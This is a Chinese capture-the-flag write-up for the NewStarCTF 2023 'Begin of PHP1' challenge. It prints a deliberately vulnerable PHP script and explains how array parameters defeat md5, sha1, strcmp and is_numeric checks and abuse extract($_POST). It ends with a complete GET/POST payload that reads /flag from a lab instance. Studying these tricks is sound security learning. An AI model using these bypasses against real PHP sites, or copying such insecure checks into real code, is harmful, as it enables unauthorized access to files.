[NewStarCTF 2023 公开赛道]Begin of PHP1

开始代码审计.

php 复制代码
 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
} 

LEVEL1: 因为hash函数无法解析数组会返回false,直接用数组绕过key1\[\]=1&key2\[\]=2

php 复制代码
if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

LEVEL2: 和第一关一样数组绕过key3\[\]=3

php 复制代码
if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

LEVEL3: strcmp()无法解析数组,所以继续用数组绕过key4\[\]=4

php 复制代码
if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

LEVEL4: 没错继续用数组绕过,is_numeric()无法解析数组会返回false,而且数组大于2023.

至于为什么大于2023,我们来做个小实验.key5\[\]=5

php 复制代码
<?php
$list=[5];
if($list>2023){echo 0;};	
?>

result: 0 

就是那么神奇 .

php 复制代码
if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

LEVEL5: 哈哈又是数组绕过,这里要输入的POST内容不能是字母和数字,所以我们可以用数组,当然也可以不用只要输入的value为真且不是正则表达是匹配到的范围就可以了,flag5=. ,或者flag5\[\]=love

php 复制代码
if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
} 

开始构造payload.

php 复制代码
http://34bdf7e3-ab3b-462a-9993-25c34ac97098.node5.buuoj.cn:81/?key1[]=1&key2[]=2&key4[]=4&key5[]=5

post: key3[]=3&flag5[]=love

得到flag,游戏结束~

相关推荐
里欧跑得慢7 小时前
Flutter 像素级还原:设计稿到代码的视觉无损转换技巧
前端·css·flutter·web
Rain的Java大神之路8 小时前
PC版网站被狂刷怎么处理
java·数据库·redis·后端·mysql·web安全·运维开发
XR12345678810 小时前
办公网自主创新建设怎么选?信创办公场景的选型逻辑
开发语言·php
CRMEB12 小时前
不懂设计也能有精美商城?CRMEB 主题广场与可视化装修的“千店千面“实操
人工智能·ai·小程序·开源·php
梦梦代码精12 小时前
《LikeShop全产品技术硬核拆解:ThinkPHP8+Vue3+UniApp架构,私有化部署与二次开发实战指南》
java·低代码·系统架构·php·开源软件
辛迪聊物业数字化15 小时前
【智能楼宇系统有什么用?赋能园区高效 节能 安全】
经验分享·安全·微信小程序·php
2401_8858850417 小时前
国际语音php接口代码示例:PHP使用cURL快速调用语音发送API
android·开发语言·前端·人工智能·python·php·语音识别
清水白石00818 小时前
Python dataclass 高级避坑指南:从 default_factory、frozen、slots 到哈希灾难
windows·python·哈希算法
白猫不黑18 小时前
运维如何转安全(个人经验篇)
运维·学习·安全·web安全·网络安全·信息安全
xiaoxiangsiyan19 小时前
网络智能化转型核心模块全解析
运维·服务器·网络·数据库·学习·架构·php